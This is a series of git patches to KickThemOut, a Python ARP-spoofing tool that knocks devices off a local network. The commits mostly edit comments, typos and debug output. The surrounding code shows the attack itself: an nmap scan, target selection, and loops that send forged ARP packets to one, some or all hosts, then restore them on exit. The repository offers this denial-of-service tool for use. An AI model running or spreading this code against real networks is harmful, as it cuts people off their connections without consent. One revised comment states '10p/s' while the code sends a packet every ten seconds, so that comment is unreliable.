From db968a5ee842d7e71f30a187298140a69d3f60f7 Mon Sep 17 00:00:00 2001 From: k4m4 Date: Sun, 26 Mar 2017 21:28:13 +0300 Subject: [PATCH 01/14] Add issue template to .github dir --- .github/ISSUE_TEMPLATE.md | 27 +++++++++++++++++++++++++++ scan.py | 2 +- 2 files changed, 28 insertions(+), 1 deletion(-) create mode 100644 .github/ISSUE_TEMPLATE.md diff --git a/.github/ISSUE_TEMPLATE.md b/.github/ISSUE_TEMPLATE.md new file mode 100644 index 0000000..b0289a4 --- /dev/null +++ b/.github/ISSUE_TEMPLATE.md @@ -0,0 +1,27 @@ + + + + +- [ ] I have carefully read the [README](https://github.com/k4m4/kickthemout/blob/master/README.rst) file and haven't managed to resolve my issue. +- [ ] I have searched the [issues](https://github.com/k4m4/kickthemout/issues?utf8=%E2%9C%93&q=is%3Aissue) of this repo and believe that this is not a duplicate. +- [ ] I am running the latest version of KickThemOut. + + + +- **OS name & version**: +- **Python version**: +- **Scapy version**: +- **Nmap version**: +- **Link of a [Gist](https://gist.github.com/) with the response of a `$ sudo python -vvv kickthemout.py` command`**: + +## Issue + diff --git a/scan.py b/scan.py index 5889d16..6aab984 100644 --- a/scan.py +++ b/scan.py @@ -1,7 +1,7 @@ #!/usr/bin/env python # -.- coding: utf-8 -.- # scan.py -# author: xdavidhu +# authors: k4m4 & xdavidhu def scanNetwork(network): returnlist = [] From 4087eaa5b05c715c6b1c59b1234c0066262eb5bf Mon Sep 17 00:00:00 2001 From: k4m4 Date: Sun, 26 Mar 2017 21:32:41 +0300 Subject: [PATCH 02/14] Fix issue_template terminology --- .github/ISSUE_TEMPLATE.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/ISSUE_TEMPLATE.md b/.github/ISSUE_TEMPLATE.md index b0289a4..ef9295d 100644 --- a/.github/ISSUE_TEMPLATE.md +++ b/.github/ISSUE_TEMPLATE.md @@ -21,7 +21,8 @@ - **Python version**: - **Scapy version**: - **Nmap version**: -- **Link of a [Gist](https://gist.github.com/) with the response of a `$ sudo python -vvv kickthemout.py` command`**: + +- **Link of [Gist](https://gist.github.com/): ## Issue From 4bf6e12999bdfcb4f1af7770ed42e63f976444de Mon Sep 17 00:00:00 2001 From: k4m4 Date: Sun, 26 Mar 2017 21:34:00 +0300 Subject: [PATCH 03/14] Fix issue_template typo --- .github/ISSUE_TEMPLATE.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/ISSUE_TEMPLATE.md b/.github/ISSUE_TEMPLATE.md index ef9295d..85890a1 100644 --- a/.github/ISSUE_TEMPLATE.md +++ b/.github/ISSUE_TEMPLATE.md @@ -22,7 +22,7 @@ - **Scapy version**: - **Nmap version**: -- **Link of [Gist](https://gist.github.com/): +- **Link of [Gist](https://gist.github.com/)**: ## Issue From dc17b0a6ffa9759f2853be490e9d3041221e854a Mon Sep 17 00:00:00 2001 From: k4m4 Date: Sun, 26 Mar 2017 22:18:07 +0300 Subject: [PATCH 04/14] Fix issue_template typo --- .github/ISSUE_TEMPLATE.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/ISSUE_TEMPLATE.md b/.github/ISSUE_TEMPLATE.md index 85890a1..95d8e64 100644 --- a/.github/ISSUE_TEMPLATE.md +++ b/.github/ISSUE_TEMPLATE.md @@ -2,8 +2,8 @@ Hi there! Thank you for bringing an issue to out attention. Before submitting, let's make sure of a few things. - Please make sure the following boxes are ticked if they apply. - If they do not, please try and fulfil these first. + Please ensure the following boxes are ticked if they apply. + If they do not, please try and fulfill them first. --> From b9beba166c7a3caa62ab25df67b0d9db6aef47b1 Mon Sep 17 00:00:00 2001 From: k4m4 Date: Fri, 31 Mar 2017 09:47:28 +0300 Subject: [PATCH 05/14] Fix minor typo --- kickthemout.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/kickthemout.py b/kickthemout.py index 64b4190..3b88170 100644 --- a/kickthemout.py +++ b/kickthemout.py @@ -61,7 +61,7 @@ def optionBanner(): def runDebug(): print("\n\n{0}WARNING! An unknown error has occurred, starting debug...{1}").format(RED, END) print( - "{0}Starting debug... (Please report this crash on 'https://github.com/k4m4/kickthemout/issues' with your private informations removed if necessary){1}").format( + "{0}Starting debug... (Please report this crash on 'https://github.com/k4m4/kickthemout/issues' with your private information removed where necessary){1}").format( RED, END) print("{0}").format(RED) try: From 5856cc84a4f8f9ab7b17b3bffb1c21020177f581 Mon Sep 17 00:00:00 2001 From: xdavidhu Date: Sat, 1 Apr 2017 12:01:51 +0200 Subject: [PATCH 06/14] Added comments --- kickthemout.py | 55 +++++++++++++++++++++++++++++++++++++++++++++++++- scan.py | 2 ++ spoof.py | 1 + 3 files changed, 57 insertions(+), 1 deletion(-) diff --git a/kickthemout.py b/kickthemout.py index 64b4190..50b4887 100644 --- a/kickthemout.py +++ b/kickthemout.py @@ -15,6 +15,7 @@ BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m' notRoot = False try: + # Check if the user is root if os.geteuid() != 0: print("\n{0}ERROR: KickThemOut must be run with root privileges. Try again with sudo:\n\t{1}$ sudo python kickthemout.py{2}\n").format(RED, GREEN, END) notRoot = True @@ -34,6 +35,7 @@ except: raise SystemExit def heading(): + # Function for printing the logo & info sys.stdout.write(GREEN + """ █ █▀ ▄█ ▄█▄ █ █▀ ▄▄▄▄▀ ▄ █ ▄███▄ █▀▄▀█ ████▄ ▄ ▄▄▄▄▀ █▄█ ██ █▀ ▀▄ █▄█ ▀▀▀ █ █ █ █▀ ▀ █ █ █ █ █ █ ▀▀▀ █ @@ -48,6 +50,7 @@ def heading(): '\n' + 'Version: {0}0.1{1}\n'.format(YELLOW, END).center(86)) def optionBanner(): + # Function for printing the list of available commands print('\nChoose option from menu:\n') sleep(0.2) print('\t{0}[{1}1{2}]{3} Kick ONE Off').format(YELLOW, RED, YELLOW, WHITE) @@ -59,6 +62,7 @@ def optionBanner(): print('\n\t{0}[{1}E{2}]{3} Exit KickThemOut\n').format(YELLOW, RED, YELLOW, WHITE) def runDebug(): + # Function for printing values & variables for debug print("\n\n{0}WARNING! An unknown error has occurred, starting debug...{1}").format(RED, END) print( "{0}Starting debug... (Please report this crash on 'https://github.com/k4m4/kickthemout/issues' with your private informations removed if necessary){1}").format( @@ -88,6 +92,8 @@ def runDebug(): raise SystemExit def regenOnlineIPs(): + # Function for regenerating the onlineIPs array (made from the hostsLists array from the scan, + # but only with the IP's in it) and setting gateway's IP, and checking if its mac address is set global onlineIPs global defaultGatewayMac global defaultGatewayMacSet @@ -103,14 +109,17 @@ def regenOnlineIPs(): defaultGatewayMac = host[1] if not defaultGatewayMacSet and defaultGatewayMac == "": + # Ask for the gateway's mac address if scapy failed to detect it print("\n{0}ERROR: Default Gateway MAC Address could not be obtained. Please enter MAC manually.{1}\n").format(RED, END) header = ("{0}kickthemout{1}> {2}Enter your gateway's MAC Address {3}(MM:MM:MM:SS:SS:SS): ".format(BLUE, WHITE, RED, END)) defaultGatewayMac = raw_input(header) defaultGatewayMacSet = True def scanNetwork(): + # Function for scanning the network with the 'scan.py' global hostsList try: + # Passing the network variable to the scan with the 'True' setting of the getDefaultInterface hostsList = scan.scanNetwork(getDefaultInterface(True)) except KeyboardInterrupt: print('\n\n{0}Thanks for dropping by.\nCatch ya later!{1}').format(GREEN, END) @@ -118,14 +127,17 @@ def scanNetwork(): except: print("\n{0}ERROR: Network scanning failed. Please check your requirements configuration.{1}\n").format(RED, END) raise SystemExit + # onlineIPs also get regenerated after every scan regenOnlineIPs() def kickoneoff(): + # kickoneoff function, launched if the user selects the number for this from the optionBanner os.system("clear||cls") print("\n{0}kickONEOff{1} selected...{2}\n").format(RED, GREEN, END) scanNetwork() + # Print the list of online IP's with vendors print("Online IPs: ") for i in range(len(onlineIPs)): mac = "" @@ -137,6 +149,7 @@ def kickoneoff(): canBreak = False while not canBreak: + # Get the input for which IP to target try: choice = int(raw_input("\nChoose a target: ")) one_target_ip = onlineIPs[choice] @@ -146,6 +159,7 @@ def kickoneoff(): except: print("\n{0}ERROR: Please enter a number from the list!{1}").format(RED, END) + # Get the mac address of the IP by looping trough the hostList array one_target_mac = "" for host in hostsList: if host[0] == one_target_ip: @@ -159,13 +173,16 @@ def kickoneoff(): print("\n{0}Spoofing started... {1}").format(GREEN, END) try: while True: + # Send a malicious ARP packet in every 10 second spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, one_target_ip, one_target_mac) time.sleep(10) except KeyboardInterrupt: + # Re-arp on KeyboardInterrupt print("\n{0}Re-arping{1} target...{2}").format(RED, GREEN, END) reArp = 1 while reArp != 10: try: + # Send 10 ARP packets with real information to restore the connections spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1]) except KeyboardInterrupt: pass @@ -177,11 +194,13 @@ def kickoneoff(): def kicksomeoff(): + # kicksomeoff function, launched if the user selects the number for this from the optionBanner os.system("clear||cls") print("\n{0}kickSOMEOff{1} selected...{2}\n").format(RED, GREEN, END) scanNetwork() + # Print the list of online IP's with vendors print("Online IPs: ") for i in range(len(onlineIPs)): mac = "" @@ -193,6 +212,7 @@ def kicksomeoff(): canBreak = False while not canBreak: + # Get the input for which IPs to target try: choice = raw_input("\nChoose devices to target(comma-separated): ") if ',' in choice: @@ -203,6 +223,7 @@ def kicksomeoff(): except KeyboardInterrupt: return + # Create a string list of the IPs to print it out later some_ipList = "" for i in some_targets: try: @@ -214,11 +235,13 @@ def kicksomeoff(): return some_ipList = some_ipList[:-2] + END + # Print the string IP list print("\n{0}Targets: {1}" + some_ipList).format(GREEN, END) print("\n{0}Spoofing started... {1}").format(GREEN, END) try: while True: + # Send [number of targets] malicious ARP packet in every 10 second for i in some_targets: ip = onlineIPs[int(i)] for host in hostsList: @@ -226,9 +249,11 @@ def kicksomeoff(): spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1]) time.sleep(10) except KeyboardInterrupt: + # Re-arp on KeyboardInterrupt print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END) reArp = 1 while reArp != 10: + # Send 10 ARP packets with real information to restore the connections to every target for i in some_targets: ip = onlineIPs[int(i)] for host in hostsList: @@ -244,11 +269,13 @@ def kicksomeoff(): print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END) def kickalloff(): + # kickalloff function, launched if the user selects the number for this from the optionBanner os.system("clear||cls") print("\n{0}kickALLOff{1} selected...{2}\n").format(RED, GREEN, END) scanNetwork() + # Print the list of online IP's with vendors print("Online IPs: ") for i in range(len(onlineIPs)): mac = "" @@ -260,10 +287,13 @@ def kickalloff(): print("\n{0}Spoofing started... {1}").format(GREEN, END) try: + # Send [number of hosts in hostsList array] malicious ARP packet in every 10 second reScan = 0 while True: for host in hostsList: + # Loop trough hostsList array if host[0] != defaultGatewayIP: + # Only sent the packet if the target is not the gateway spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1]) reScan += 1 if reScan == 4: @@ -274,9 +304,11 @@ def kickalloff(): print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END) reArp = 1 while reArp != 10: + # Send 10 ARP packets with real information to restore the connections to every target for host in hostsList: if host[0] != defaultGatewayIP: try: + # Only sent the packet if the target is not the gateway spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1]) except KeyboardInterrupt: pass @@ -287,6 +319,7 @@ def kickalloff(): print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END) def getDefaultInterface(returnNet=False): + # Function for getting the default network interface of the machine with scapy def long2net(arg): if (arg <= 0 or arg >= 0xFFFFFFFF): raise ValueError("illegal netmask value", hex(arg)) @@ -299,6 +332,7 @@ def getDefaultInterface(returnNet=False): return None return net for network, netmask, _, interface, address in scapy.config.conf.route.routes: + # Loop trough ip addresses, skip if local if network == 0 or interface == 'lo' or address == '127.0.0.1' or address == '0.0.0.0': continue if netmask <= 0 or netmask == 0xFFFFFFFF: @@ -308,21 +342,25 @@ def getDefaultInterface(returnNet=False): continue if net: if returnNet: + # Returning network if the returnNet is set to True (for the network scan) return net else: return interface def getGatewayIP(): + # Function for getting the IP of the gateway with scapy try: getGateway_p = sr1(IP(dst="google.com", ttl=0) / ICMP() / "XXXXXXXXXXX", verbose=False) return getGateway_p.src except: + # Ask for the gateway ip address if scapy failed to detect it print("\n{0}ERROR: Gateway IP could not be obtained. Please enter IP manually.{1}\n").format(RED, END) header = ('{0}kickthemout{1}> {2}Enter Gateway IP {3}(e.g. 192.168.1.1): '.format(BLUE, WHITE, RED, END)) gatewayIP = raw_input(header) return gatewayIP def getDefaultInterfaceMAC(): + # Function for getting the mac address of the default interface try: defaultInterfaceMac = get_if_hwaddr(defaultInterface) if defaultInterfaceMac == "" or not defaultInterfaceMac: @@ -335,13 +373,16 @@ def getDefaultInterfaceMAC(): else: return defaultInterfaceMac except: + # Ask for the mac address if scapy failed to detect it print("\n{0}ERROR: Default Interface MAC Address could not be obtained. Please enter MAC manually.{1}\n").format(RED, END) header = ('{0}kickthemout{1}> {2}Enter MAC Address {3}(MM:MM:MM:SS:SS:SS): '.format(BLUE, WHITE, RED, END)) defaultInterfaceMac = raw_input(header) return defaultInterfaceMac def resolveMac(mac): + # Function for resolving mac addresses to vendor names try: + # Sending web request to macvendors.co url = "http://macvendors.co/api/vendorname/" request = urllib.Request(url + mac, headers={'User-Agent': "API Browser"}) response = urllib.urlopen(request) @@ -354,20 +395,23 @@ def resolveMac(mac): def main(): + # Print the KickThemOut logo heading() print( "\n{0}Using interface '{1}" + defaultInterface + "{2}' with mac address '{3}" + defaultInterfaceMac + "{4}'.\nGateway IP: '{5}" + defaultGatewayIP + "{6}' --> {7}" + str(len(hostsList)) + "{8} hosts are up.{9}").format(GREEN, RED, GREEN, RED, GREEN, RED, GREEN, RED, GREEN, END) - + # Print warnings if there are no hosts up if len(hostsList) == 0 or len(hostsList) == 1: if len(hostsList) == 1: if hostsList[0][0] == defaultGatewayIP: + # If gateway found by the scan print("\n{0}{1}WARNING: There are {2}0{3} hosts up on you network except your gateway.\n\tYou can't kick anyone off {4}:/{5}\n").format( GREEN, RED, GREEN, RED, GREEN, END) raise SystemExit else: + # If no gateway or host found by the scan print( "\n{0}{1}WARNING: There are {2}0{3} hosts up on you network.\n\tIt looks like something went wrong {4}:/{5}").format( GREEN, RED, GREEN, RED, GREEN, END) @@ -378,13 +422,17 @@ def main(): try: + # Getting user input with while loop while True: + # Print menu items optionBanner() + # Get user input header = ('{0}kickthemout{1}> {2}'.format(BLUE, WHITE, END)) choice = raw_input(header) + # Handling the input if choice.upper() == 'E' or choice.upper() == 'EXIT': print('\n{0}Thanks for dropping by.' '\nCatch ya later!{1}').format(GREEN, END) @@ -400,17 +448,22 @@ def main(): else: print("\n{0}ERROR: Please select a valid option.{1}\n").format(RED, END) + # Stopping loop on KeyboardInterrupt except KeyboardInterrupt: print('\n\n{0}Thanks for dropping by.' '\nCatch ya later!{1}').format(GREEN, END) if __name__ == '__main__': + # -- Start point -- + + # Setting the network info variables defaultInterface = getDefaultInterface() defaultGatewayIP = getGatewayIP() defaultInterfaceMac = getDefaultInterfaceMAC() global defaultGatewayMacSet defaultGatewayMacSet = False + # Scanning network for the first time scanNetwork() main() diff --git a/scan.py b/scan.py index 6aab984..e57354c 100644 --- a/scan.py +++ b/scan.py @@ -4,6 +4,7 @@ # authors: k4m4 & xdavidhu def scanNetwork(network): + # Function for performing a network scan with nmap with the help of the python-nmap module returnlist = [] import nmap nm = nmap.PortScanner() @@ -16,4 +17,5 @@ def scanNetwork(network): except: pass + # returnlist = hostsList array return returnlist diff --git a/spoof.py b/spoof.py index 95c491e..dea1a5c 100644 --- a/spoof.py +++ b/spoof.py @@ -19,6 +19,7 @@ from scapy.all import ( ) def sendPacket(my_mac, gateway_ip, target_ip, target_mac): + # Function for sending the malicious ARP packets out with the specified data ether = Ether() ether.src = my_mac From 44ded11c7548c9376fe725c06ed0b6bccb2511d6 Mon Sep 17 00:00:00 2001 From: xdavidhu Date: Sat, 1 Apr 2017 12:25:37 +0200 Subject: [PATCH 07/14] Added info about scanning on start --- kickthemout.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/kickthemout.py b/kickthemout.py index 50b4887..749ab95 100644 --- a/kickthemout.py +++ b/kickthemout.py @@ -36,7 +36,7 @@ except: def heading(): # Function for printing the logo & info - sys.stdout.write(GREEN + """ + sys.stdout.write(GREEN + """ █ █▀ ▄█ ▄█▄ █ █▀ ▄▄▄▄▀ ▄ █ ▄███▄ █▀▄▀█ ████▄ ▄ ▄▄▄▄▀ █▄█ ██ █▀ ▀▄ █▄█ ▀▀▀ █ █ █ █▀ ▀ █ █ █ █ █ █ ▀▀▀ █ █▀▄ ██ █ ▀ █▀▄ █ ██▀▀█ ██▄▄ █ ▄ █ █ █ █ █ █ @@ -458,6 +458,8 @@ if __name__ == '__main__': # -- Start point -- # Setting the network info variables + sys.stdout.write("{0}Scanning your network, hang on...{1}\r".format(GREEN, END)) + sys.stdout.flush() defaultInterface = getDefaultInterface() defaultGatewayIP = getGatewayIP() defaultInterfaceMac = getDefaultInterfaceMAC() From e80651c22ea61a38a18aaea05de2913d380e9a13 Mon Sep 17 00:00:00 2001 From: xdavidhu Date: Sat, 1 Apr 2017 16:24:17 +0200 Subject: [PATCH 08/14] Addded spaces to header --- kickthemout.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/kickthemout.py b/kickthemout.py index 749ab95..e2b5530 100644 --- a/kickthemout.py +++ b/kickthemout.py @@ -36,7 +36,8 @@ except: def heading(): # Function for printing the logo & info - sys.stdout.write(GREEN + """ + spaces = " " * 76 + sys.stdout.write(GREEN + spaces + """ █ █▀ ▄█ ▄█▄ █ █▀ ▄▄▄▄▀ ▄ █ ▄███▄ █▀▄▀█ ████▄ ▄ ▄▄▄▄▀ █▄█ ██ █▀ ▀▄ █▄█ ▀▀▀ █ █ █ █▀ ▀ █ █ █ █ █ █ ▀▀▀ █ █▀▄ ██ █ ▀ █▀▄ █ ██▀▀█ ██▄▄ █ ▄ █ █ █ █ █ █ From 32541632b1726765496a0a0d40495ffa3d17e4ea Mon Sep 17 00:00:00 2001 From: xdavidhu Date: Mon, 3 Apr 2017 23:22:42 +0200 Subject: [PATCH 09/14] Added stacktrace to debug --- kickthemout.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/kickthemout.py b/kickthemout.py index e2b5530..852066d 100644 --- a/kickthemout.py +++ b/kickthemout.py @@ -11,6 +11,7 @@ See License at nikolaskama.me (https://nikolaskama.me/kickthemoutproject) import time, os, sys, logging, math from time import sleep import urllib2 as urllib +import traceback BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m' notRoot = False @@ -88,6 +89,11 @@ def runDebug(): print hostsList except: print ("Failed to print hostsList array...") + try: + print ("Crash trace: ") + print(traceback.format_exc()) + except: + print ("Failed to print crash trace...") print ("DEBUG FINISHED.\nShutting down...") print("{0}").format(END) raise SystemExit From df47099e6151b6e7b4406f529df573a775ceea85 Mon Sep 17 00:00:00 2001 From: k4m4 Date: Wed, 5 Apr 2017 19:14:22 +0300 Subject: [PATCH 10/14] Add/Fix coding comments --- kickthemout.py | 119 ++++++++++++++++++++++++++----------------------- 1 file changed, 63 insertions(+), 56 deletions(-) diff --git a/kickthemout.py b/kickthemout.py index 59a01e2..4ede237 100644 --- a/kickthemout.py +++ b/kickthemout.py @@ -16,12 +16,12 @@ BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m' notRoot = False try: - # Check if the user is root + # check whether user is root if os.geteuid() != 0: print("\n{0}ERROR: KickThemOut must be run with root privileges. Try again with sudo:\n\t{1}$ sudo python kickthemout.py{2}\n").format(RED, GREEN, END) notRoot = True except: - # User is probably on windows + # then user is probably on windows pass if notRoot: raise SystemExit @@ -35,8 +35,10 @@ except: print("\n{0}If you still cannot resolve this error, please submit an issue here:\n\t{1}https://github.com/k4m4/kickthemout/issues\n{2}").format(RED, BLUE, END) raise SystemExit + + +# display heading def heading(): - # Function for printing the logo & info spaces = " " * 76 sys.stdout.write(GREEN + spaces + """ █ █▀ ▄█ ▄█▄ █ █▀ ▄▄▄▄▀ ▄ █ ▄███▄ █▀▄▀█ ████▄ ▄ ▄▄▄▄▀ @@ -51,8 +53,10 @@ def heading(): YELLOW, RED, YELLOW, BLUE).center(111) + '\n' + 'Version: {0}0.1{1}\n'.format(YELLOW, END).center(86)) + + +# display options def optionBanner(): - # Function for printing the list of available commands print('\nChoose option from menu:\n') sleep(0.2) print('\t{0}[{1}1{2}]{3} Kick ONE Off').format(YELLOW, RED, YELLOW, WHITE) @@ -63,8 +67,10 @@ def optionBanner(): sleep(0.2) print('\n\t{0}[{1}E{2}]{3} Exit KickThemOut\n').format(YELLOW, RED, YELLOW, WHITE) + + +# initiate debugging process def runDebug(): - # Function for printing values & variables for debug print("\n\n{0}WARNING! An unknown error has occurred, starting debug...{1}").format(RED, END) print( "{0}Starting debug... (Please report this crash on 'https://github.com/k4m4/kickthemout/issues' with your private information removed where necessary){1}").format( @@ -98,9 +104,10 @@ def runDebug(): print("{0}").format(END) raise SystemExit + + +# regenerate online IPs array & configure gateway def regenOnlineIPs(): - # Function for regenerating the onlineIPs array (made from the hostsLists array from the scan, - # but only with the IP's in it) and setting gateway's IP, and checking if its mac address is set global onlineIPs global defaultGatewayMac global defaultGatewayMacSet @@ -116,17 +123,19 @@ def regenOnlineIPs(): defaultGatewayMac = host[1] if not defaultGatewayMacSet and defaultGatewayMac == "": - # Ask for the gateway's mac address if scapy failed to detect it + # request gateway MAC address (after failed detection by scapy) print("\n{0}ERROR: Default Gateway MAC Address could not be obtained. Please enter MAC manually.{1}\n").format(RED, END) header = ("{0}kickthemout{1}> {2}Enter your gateway's MAC Address {3}(MM:MM:MM:SS:SS:SS): ".format(BLUE, WHITE, RED, END)) defaultGatewayMac = raw_input(header) defaultGatewayMacSet = True + + +# scan network def scanNetwork(): - # Function for scanning the network with the 'scan.py' global hostsList try: - # Passing the network variable to the scan with the 'True' setting of the getDefaultInterface + # call scanning function from scan.py hostsList = scan.scanNetwork(getDefaultInterface(True)) except KeyboardInterrupt: print('\n\n{0}Thanks for dropping by.\nCatch ya later!{1}').format(GREEN, END) @@ -134,17 +143,17 @@ def scanNetwork(): except: print("\n{0}ERROR: Network scanning failed. Please check your requirements configuration.{1}\n").format(RED, END) raise SystemExit - # onlineIPs also get regenerated after every scan regenOnlineIPs() + + +# kick one device def kickoneoff(): - # kickoneoff function, launched if the user selects the number for this from the optionBanner os.system("clear||cls") print("\n{0}kickONEOff{1} selected...{2}\n").format(RED, GREEN, END) scanNetwork() - # Print the list of online IP's with vendors print("Online IPs: ") for i in range(len(onlineIPs)): mac = "" @@ -156,7 +165,6 @@ def kickoneoff(): canBreak = False while not canBreak: - # Get the input for which IP to target try: choice = int(raw_input("\nChoose a target: ")) one_target_ip = onlineIPs[choice] @@ -166,7 +174,7 @@ def kickoneoff(): except: print("\n{0}ERROR: Please enter a number from the list!{1}").format(RED, END) - # Get the mac address of the IP by looping trough the hostList array + # locate MAC of specified device one_target_mac = "" for host in hostsList: if host[0] == one_target_ip: @@ -180,16 +188,16 @@ def kickoneoff(): print("\n{0}Spoofing started... {1}").format(GREEN, END) try: while True: - # Send a malicious ARP packet in every 10 second + # broadcast malicious ARP packets (10p/s) spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, one_target_ip, one_target_mac) time.sleep(10) except KeyboardInterrupt: - # Re-arp on KeyboardInterrupt + # re-arp target on KeyboardInterrupt exception print("\n{0}Re-arping{1} target...{2}").format(RED, GREEN, END) reArp = 1 while reArp != 10: try: - # Send 10 ARP packets with real information to restore the connections + # broadcast ARP packets with legitimate info to restore connection spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1]) except KeyboardInterrupt: pass @@ -200,14 +208,14 @@ def kickoneoff(): print("{0}Re-arped{1} target successfully.{2}").format(RED, GREEN, END) + +# kick multiple devices def kicksomeoff(): - # kicksomeoff function, launched if the user selects the number for this from the optionBanner os.system("clear||cls") print("\n{0}kickSOMEOff{1} selected...{2}\n").format(RED, GREEN, END) scanNetwork() - # Print the list of online IP's with vendors print("Online IPs: ") for i in range(len(onlineIPs)): mac = "" @@ -219,7 +227,6 @@ def kicksomeoff(): canBreak = False while not canBreak: - # Get the input for which IPs to target try: choice = raw_input("\nChoose devices to target(comma-separated): ") if ',' in choice: @@ -230,7 +237,6 @@ def kicksomeoff(): except KeyboardInterrupt: return - # Create a string list of the IPs to print it out later some_ipList = "" for i in some_targets: try: @@ -242,13 +248,12 @@ def kicksomeoff(): return some_ipList = some_ipList[:-2] + END - # Print the string IP list print("\n{0}Targets: {1}" + some_ipList).format(GREEN, END) print("\n{0}Spoofing started... {1}").format(GREEN, END) try: while True: - # Send [number of targets] malicious ARP packet in every 10 second + # broadcast malicious ARP packets (10p/s) for i in some_targets: ip = onlineIPs[int(i)] for host in hostsList: @@ -256,11 +261,11 @@ def kicksomeoff(): spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1]) time.sleep(10) except KeyboardInterrupt: - # Re-arp on KeyboardInterrupt + # re-arp targets on KeyboardInterrupt exception print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END) reArp = 1 while reArp != 10: - # Send 10 ARP packets with real information to restore the connections to every target + # broadcast ARP packets with legitimate info to restore connection for i in some_targets: ip = onlineIPs[int(i)] for host in hostsList: @@ -275,14 +280,15 @@ def kicksomeoff(): time.sleep(0.5) print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END) + + +# kick all devices def kickalloff(): - # kickalloff function, launched if the user selects the number for this from the optionBanner os.system("clear||cls") print("\n{0}kickALLOff{1} selected...{2}\n").format(RED, GREEN, END) scanNetwork() - # Print the list of online IP's with vendors print("Online IPs: ") for i in range(len(onlineIPs)): mac = "" @@ -294,13 +300,12 @@ def kickalloff(): print("\n{0}Spoofing started... {1}").format(GREEN, END) try: - # Send [number of hosts in hostsList array] malicious ARP packet in every 10 second + # broadcast malicious ARP packets (10p/s) reScan = 0 while True: for host in hostsList: - # Loop trough hostsList array if host[0] != defaultGatewayIP: - # Only sent the packet if the target is not the gateway + # dodge gateway (avoid crashing network itself) spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1]) reScan += 1 if reScan == 4: @@ -311,11 +316,11 @@ def kickalloff(): print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END) reArp = 1 while reArp != 10: - # Send 10 ARP packets with real information to restore the connections to every target + # broadcast ARP packets with legitimate info to restore connection for host in hostsList: if host[0] != defaultGatewayIP: try: - # Only sent the packet if the target is not the gateway + # dodge gateway spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1]) except KeyboardInterrupt: pass @@ -325,8 +330,10 @@ def kickalloff(): time.sleep(0.5) print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END) + + +# retrieve network interface def getDefaultInterface(returnNet=False): - # Function for getting the default network interface of the machine with scapy def long2net(arg): if (arg <= 0 or arg >= 0xFFFFFFFF): raise ValueError("illegal netmask value", hex(arg)) @@ -339,7 +346,7 @@ def getDefaultInterface(returnNet=False): return None return net for network, netmask, _, interface, address in scapy.config.conf.route.routes: - # Loop trough ip addresses, skip if local + # loop through IPs (skip if local) if network == 0 or interface == 'lo' or address == '127.0.0.1' or address == '0.0.0.0': continue if netmask <= 0 or netmask == 0xFFFFFFFF: @@ -349,25 +356,28 @@ def getDefaultInterface(returnNet=False): continue if net: if returnNet: - # Returning network if the returnNet is set to True (for the network scan) return net else: return interface + + +# retrieve gateway IP def getGatewayIP(): - # Function for getting the IP of the gateway with scapy try: getGateway_p = sr1(IP(dst="google.com", ttl=0) / ICMP() / "XXXXXXXXXXX", verbose=False) return getGateway_p.src except: - # Ask for the gateway ip address if scapy failed to detect it + # request gateway IP address (after failed detection by scapy) print("\n{0}ERROR: Gateway IP could not be obtained. Please enter IP manually.{1}\n").format(RED, END) header = ('{0}kickthemout{1}> {2}Enter Gateway IP {3}(e.g. 192.168.1.1): '.format(BLUE, WHITE, RED, END)) gatewayIP = raw_input(header) return gatewayIP + + +# retrieve default interface MAC address def getDefaultInterfaceMAC(): - # Function for getting the mac address of the default interface try: defaultInterfaceMac = get_if_hwaddr(defaultInterface) if defaultInterfaceMac == "" or not defaultInterfaceMac: @@ -380,16 +390,18 @@ def getDefaultInterfaceMAC(): else: return defaultInterfaceMac except: - # Ask for the mac address if scapy failed to detect it + # request interface MAC address (after failed detection by scapy) print("\n{0}ERROR: Default Interface MAC Address could not be obtained. Please enter MAC manually.{1}\n").format(RED, END) header = ('{0}kickthemout{1}> {2}Enter MAC Address {3}(MM:MM:MM:SS:SS:SS): '.format(BLUE, WHITE, RED, END)) defaultInterfaceMac = raw_input(header) return defaultInterfaceMac + + +# resolve mac address of each vendor def resolveMac(mac): - # Function for resolving mac addresses to vendor names try: - # Sending web request to macvendors.co + # sen request to macvendors.co url = "http://macvendors.co/api/vendorname/" request = urllib.Request(url + mac, headers={'User-Agent': "API Browser"}) response = urllib.urlopen(request) @@ -400,25 +412,26 @@ def resolveMac(mac): except: return "N/A" + + +# script's main function def main(): - # Print the KickThemOut logo + # display heading heading() print( "\n{0}Using interface '{1}" + defaultInterface + "{2}' with mac address '{3}" + defaultInterfaceMac + "{4}'.\nGateway IP: '{5}" + defaultGatewayIP + "{6}' --> {7}" + str(len(hostsList)) + "{8} 